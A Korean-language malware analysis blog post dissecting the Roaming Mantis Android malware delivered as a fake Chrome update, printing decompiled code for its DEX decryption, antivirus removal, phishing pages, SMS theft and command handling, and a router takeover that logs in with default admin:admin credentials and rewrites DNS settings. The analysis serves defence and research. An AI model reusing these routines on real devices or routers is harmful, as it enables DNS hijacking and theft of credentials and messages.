Android Malware : 사마귀 해부학
목차
—————————————
- Intro
- Roaming Mantis?
- Analysis
- Download & Install
- Dynamic Dex Loading
- Behavior Analysis
- Outro
1. Intro
이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.
이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.
2. Roaming Mantis?
분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..
Android Malware인 Roaming Mantis였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 취약한 공용 라우터를 장악하여 DNS 서버를 변조(DNS Hijacking)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.
가령, google.com
으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.
이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.
또한 Wroba계열의 Mobile banking Trojan을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.
3. Analysis
분석 Flow Chart입니다.
각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.
1) Download & Install
문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.
Download를 진행하면 chrome.apk
라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.
frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.
이 중 rbj.xnmp.gjga.ucms
가 악성 앱, com.android.chrome
이 진짜 chrome입니다.
2) Dynamic DEX Loading
Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.
주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.
① Encrypted DEX Loading
가장 먼저 실행되는 것은 ImApplication.c("rrkf")
로, rrkf
를 인자로 wo.pi
method를 호출합니다.
// str = "rrkf"
private void c(String str) {
b(str, wo.pi(this, str, 1, false, ""));
}
Java_n_wo_pi()
함수는 rrkf
를 인자로 받아, rrkf/lqcttjs
경로를 완성합니다.
완성한 경로를 getAssets()
함수의 인자로 사용하여, assets
폴더 하위의 rrkf/1qcttjs
파일 내용을 가져옵니다.
// v7 = rrkf/1qcttjs
// v10 = getAssets()
// v13 = open(Ljava/lang/String;)
v19 = _JNIEnv::CallObjectMethod(v7, v10, v13);
실제로 assets
Directory 에는 아래와 같이 rrkf/1qcttjs
경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.
② Decrypt DEX
따라서 Java_n_wo_pi()
내부에는 가져온 1qcttjs
의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 wo.pi
는 Dectyped DEX 내용을 return 합니다.
while ( 1 )
{
v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read
if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우
{
_JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료
...
if ( v64 )
{
v65 = v64; // 5. 복호화 된 내용 저장
operator delete(v64);
}
return;
}
v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동)
...
}
③ Save Dynamic DEX
복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 ImApplication.e()
method에서 확인할 수 있습니다. e
는 /data/user/0/rbj.xnpm.gjga.ucms/files/b
와 복호화된 파일 내용을 인자로 받아, wo.or
을 호출합니다.
private static Object e(String str, Object obj) {
//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"
//obj = 복호화한 dex파일
return wo.or(str, obj, 0);
}
Java_n_wo_or()
에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.
v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array
v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b
...
fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성
따라서 복호화된 DEX 파일은, /data/user/0/rbj.xnpm.gjga.ucms/files/b
경로에 저장되게 됩니다.
④ Load Class
ImApplication
에서 가장 마지막에 실행되는 a
method입니다.
private void a(Object obj) {
// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)
// wo.ls(1) = com.Loader
Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true);
this.b = cls;
// wo.iz = 인자를 create() 함
a = wo.iz(cls);
}
wo.iz
는 인자를 create() 하므로, 인자로 들어가는 cls
즉, wo.kw
의 내용을 보아야 합니다. wo.kw
는 아래의 코드로 동작을 요약할 수 있습니다.
// v7 = loadClass(com.Loader)
return _JNIEnv::CallObjectMethod(v5, v4, v7);
locaClass()
method에 인자로 들어간 com.Loader
Class를 호출합니다. 이렇게 b
파일의 com.Loaser
class를 인자로 받은 wo.iz
는 이를 create()
하며 Dynamic DEX Loading은 끝이 납니다.
그럼 이제 앱을 실행한 후, /data/user/0/rbj.xnpm.gjga.ucms/files/b
파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.
3) Behavior Analysis
이전 단계에서 획득한 b
파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.
모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.
이 중 Roaming Mantis의 핵심 동작은 ⑤ 공유기 장악(DNS Hijacking) 부분을 보시면 되겠습니다.
① A사 백신 삭제
② 국내 앱 계정 정보 수집
③ Phishing 창 생성 #1
④ Phishing 창 생성 #2
⑤ 공유기 장악 (DNS Hijacking)
⑥ C2 서버 - 공격자 서버 정보 파싱
⑦ SMS 관련 동작
⑧ 기타 동작
① A사 백신 삭제
대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.
while문을 사용하여 설치된 Package명 중, 백신의 Package명(com.a**lab.v*
)과 같은 게 있을 경우 삭제하도록 하고 있습니다.
while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null));
v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장
label_14:
String v2_1 = (String)v2;
if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행
Intent v0_1 = new Intent();
v0_1.setAction("android.intent.action.DELETE");
v0_1.setData(Uri.parse("package:" + v2_1));
v0_1.addFlags(0x10000000);
arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음
}
실행된 Activity는 아래와 같이 보입니다.
② 국내 앱 계정 정보 수집
아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.
// 1. 기기에서 관리중인 계정 정보 수집
Account[] v0_4 = ((AccountManager)v0_3).getAccounts();
// 2. 계정과 종류를 수집
v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type);
수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.
아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.
v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장
③ Phishing 창 생성 #1
com.Loader
Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.
한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 127.0.0.1:Random_port
로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 %%ACCOUNT%%
부분은 기기에 저장된 gmail 계정이 출력됩니다.
전달 받은 값은 127.0.0.1:port/submit
으로 전달, Response 값을 setMyInfo
method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.
- JSON-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JSON 형식을 사용합니다.
v8_1 = (String)v7.get("name");
v8_2.append(((String)v7.get("first_name")));
String v0 = (String)v7.get("middle_name");
v8_2.append(((String)v7.get("last_name")));
String v2_1 = (String)v7.get("date");
v2_1 = v2_1 + " " + ((String)v7.get("xx1"));
v2_1 = v2_1 + " " + ((String)v7.get("xx2"));
v2_1 = v2_1 + " " + ((String)v7.get("xx3"));
v2_1 = v2_1 + " " + ((String)v7.get("xx4"));
v2_1 = v2_1 + "/" + ((String)v7.get("ss1"));
// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료
String v0_1 = "JSON:" + new JSONObject(v7).toString(0);
this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a);
}
④ Phishing 창 생성 #2
또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 zc1
. zc
. scan
일 경우 수행됩니다.
사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 Phishing 페이지를 생성합니다. 아래는 일본의 통신사인 domoco
를 사용 할 경우의 예시입니다.
else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우
b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/");
v7 = (String)v0_6.a();
v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집
v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" : // 3. 수집이 안 될 경우를 대비한 피싱 문구
}
v0_6를 보면, https://www.pinterest.com/catogreggex11/
의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 catogreggex11
계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.
info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, ----
를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.
⑤ 공유기 장악 (DNS Hijacking)
Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.
모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자는 DHCP Server의 IP 주소를 수집합니다.
int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
하지만 DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.
공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.
int[] v5 = new int[]{8080, 8888, 80, 7777, 8899};
for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){
v9_1 = a.b.d(v9, false);
코드를 보면, 8080
, 8888
, 80
등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 /login/login.cgi
경로를 붙여 최종적으로 http://{DHCP_SERVER}:{PORT}/login/login.cgi
라는 URL을 완성합니다.
아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.
URL의 경로에서 유추할 수 있듯, 공격자는 공유기 관리 페이지에 접근하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.
Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1);
Matcher v10_2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(v9_1.replace(" ", ""));
Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.
아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 공유기의 모델이 어떤 것인지 유추할 수 있습니다. 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.
어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.
if(v2 == 1) {
this.a.e(v1.a);
return;
}
if(v2 == 2) {
this.a.k(v1.a);
return;
}
...
매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 a.e
method로 이동해봅시다.
매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 쉽게 관리자로 로그인 할 수 있습니다.
void e(String arg14) {
String[] v1 = new String[2];
int v2 = 0;
v1[0] = "Authorization";
v1[1] = "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0);
a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame", v1);
String v4 = a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup", v1);
ArrayList v7 = new ArrayList();
int v8;
for(v8 = 1; v8 <= 4; ++v8) {
Matcher v9 = Pattern.compile("id=\"disabled_dynamicip" + v8 + ".*?value=\"(.*?)\"").matcher(v4);
if(v9.find()) {
v7.add(v9.group(1));
}
}
그리고 마지막 부분에 DNS 서버를 변경하려는 Request를 생성하는데, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.
// DNS 서버를 변경하는 Request 생성
// v3의 값은 C2 서버에서 파싱
a.b.f(arg14 + "/cgi-bin/timepro.cgi", v1, "tmenu=iframe&smenu=hiddenwansetup&act=save&ocolor=&wan=wan1&ifname=eth1&nopassword=0&wan_type=dynamic&allow_private=on&fdns_dynamic1=" + v3.c[0] + "&fdns_dynamic2=" + v3.c[1] + "&fdns_dynamic3=" + v3.c[2] + "&fdns_dynamic4=" + v3.c[3] + "&sdns_dynamic1=" + v3.d[0] + "&sdns_dynamic2=" + v3.d[1] + "&sdns_dynamic3=" + v3.d[2] + "&sdns_dynamic4=" + v3.d[3] + "&dns_dynamic_chk=on".getBytes());
이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.
⑥ C2 서버 - 공격자 서버 정보 파싱
바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.
아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.
this.n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정
의 정보를 담고 있으며, 이 앱은 covid
등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.
우선 vk(id728589530@vk
) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 debug
가 아닐 경우에 수행되며, 최종적으로 id729071494
계정의 info페이지에 접근하게 됩니다.
// 1. info 페이지 접근
String v3 = String.format("https://m.vk.com/%s?act=info", Arrays.copyOf(new Object[]{arg3}, 1));
// 2. noopener 태그 사이의 문자열 매칭
Matcher v3_3 = Pattern.compile("noopener\">(.+?)</a>").matcher(v3_2);
페이지의 HTTP Code 중 noopener
태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.
이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.
다른 정보들은 어디에 쓰이는지 확인해봅시다.
아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(UCP5sKzxDLR5yhO1IB4EqeEg@youtube
)계정 문자열을 파싱합니다.
// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱
String v7 = Loader.access$getPreferences$p(this.b).getString("account", ((String)v2.get(v8)));
마찬가지로 해당 계정의 about 페이지에 접근한 후, oeewe
사이의 문자열을 파싱합니다.
// 1. about 페이지 접근
String v3 = String.format("https://m.youtube.com/channel/%s/about", Arrays.copyOf(new Object[]{arg3}, 1));
// 2. oeewe 사이의 문자열 매칭
Matcher v3_3 = Pattern.compile("oeewe([\\w_-]+?)oeewe").matcher(v3_2);
접근하면 아래와 같이 oeewe … oeewe
문자열을 설명란에서 볼 수 있습니다.
해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.
// 1. Base64 Decoding
byte[] v2 = Base64.decode(arg2, 8);
// 2. Key, IV 하드코딩(같은 값)
return new String(r.b(v2, "Ab5d1Q32"), d.a);
복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 ws://
가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.
⑦ SMS관련
아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.
v9_1[5] = Boolean.valueOf(i.a(v5_6, Telephony.Sms.getDefaultSmsPackage(v7_4)));
공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp, 그리고 메시지내용을 HashMap으로 저장하며 수집합니다.
// 1. 수신된 메시지들 수집
v0_6 = (Object[])arg27.getExtras().get("pdus");
v12 = v0_6[v10];
// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성
SmsMessage v12_1 = SmsMessage.createFromPdu(((byte[])v12));
// 3. 수신된 메시지의 내용 수집
String v13 = v12_1.getDisplayMessageBody();
// 4. 수신된 메시지의 발신 주소 수집
String v14 = v12_1.getDisplayOriginatingAddress();
// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장
v3_1.put(v14, Long.valueOf(v12_1.getTimestampMillis()));
// 6. 발신자 주소(key)-메시지 내용(value)로 저장
v4_2.put(v14, v12_2.toString());
JSON-RPC로 onSms
method와 수집한 내용을 공격자 서버로 전달합니다.
// s = "onSms"
// 1. Json-RPC로 onSms method 실행
Map map0 = b0.f(new b[]{c.a("jsonrpc", "2.0"), c.a("method", s)});
// 2. 수집한 내용을 params로 전달
map0.put("params", object0);
이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.
Object v0_13 = v2.getSystemService("audio");
if(v0_13 != null) {
((AudioManager)v0_13).setRingerMode(0);
수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.
맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.
// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가
if(boolean z2 = u.g(s12, "FS", false, 2, null)) {
Loader.access$getPreferences$p(this.a).edit().putString("fs", r.c(s13))).apply()
// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가
if(u.g(s12, "SF", false, 2, null)) {
Loader.access$getPreferences$p(this.a).edit().putString("account", s14).apply();
// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도
if(u.g(s12, "IF", false, 2, null)) {
// 3-1. 연결 되었을 경우
i.c(socket1, "peer.ws!!.socket");
s15 = "已连接:" + socket1.getRemoteSocketAddress().toString();
// 3-2. 연결되지 않았을 경우
s15 = "未连接," + s16 + ',' + (wifiManager0 == null ? false : wifiManager0.isWifiEnabled()) + ',' + this.a.j;
// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가
if(boolean z3 = u.g(s12, "SI", false, 2, null)) {
byte[] arr_b = Base64.decode(s13, 0);
Loader.access$getPreferences$p(this.a).edit().putString("addr_url", ((String)list0.get(0))).putString("addr_encoding", ((String)list0.get(1))).putString("addr_pattern", ((String)list0.get(2))).putString("addr_accounts", ((String)list0.get(3))).apply();
// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가
else if(u.g(s12, "FM", false, 2, null)) {
byte[] arr_b1 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
Loader.access$getPreferences$p(this.a).edit().putString("fsm", s18)
어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.
⑦ 기타 동작
- 앱 정보 수집
- 설치된 앱들의 정보를 수집합니다.
- 공인인증서 탈취
/sdcard/NAKI
에 저장된 공인인증서를 탈취합니다.
- 배터리 최적화 무시
- 백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.
- wifi lock 설정
- 연결된 WIFI Lock을
Swi
라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.
- 연결된 WIFI Lock을
- 사용자 주변 네트워크, 기기 정보 전송
- 사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.
- 루팅 탐지
- 루팅 여부를 탐지합니다.
- 금융 앱 관련
- 금융 앱 대신
/sdcard/.upload2
하위의 악성 앱을 실행합니다.
- 금융 앱 대신
- 사진 탈취
/DCIM/Camera
에 위치한 사진 파일들을 탈취합니다.
- C2 서버로부터 command 수신
- 다양한 command를 전달받아 동작합니다.
이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.
4. Outro
지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 [email protected]으로 연락 바랍니다.)
Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?
더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.
글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.
이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.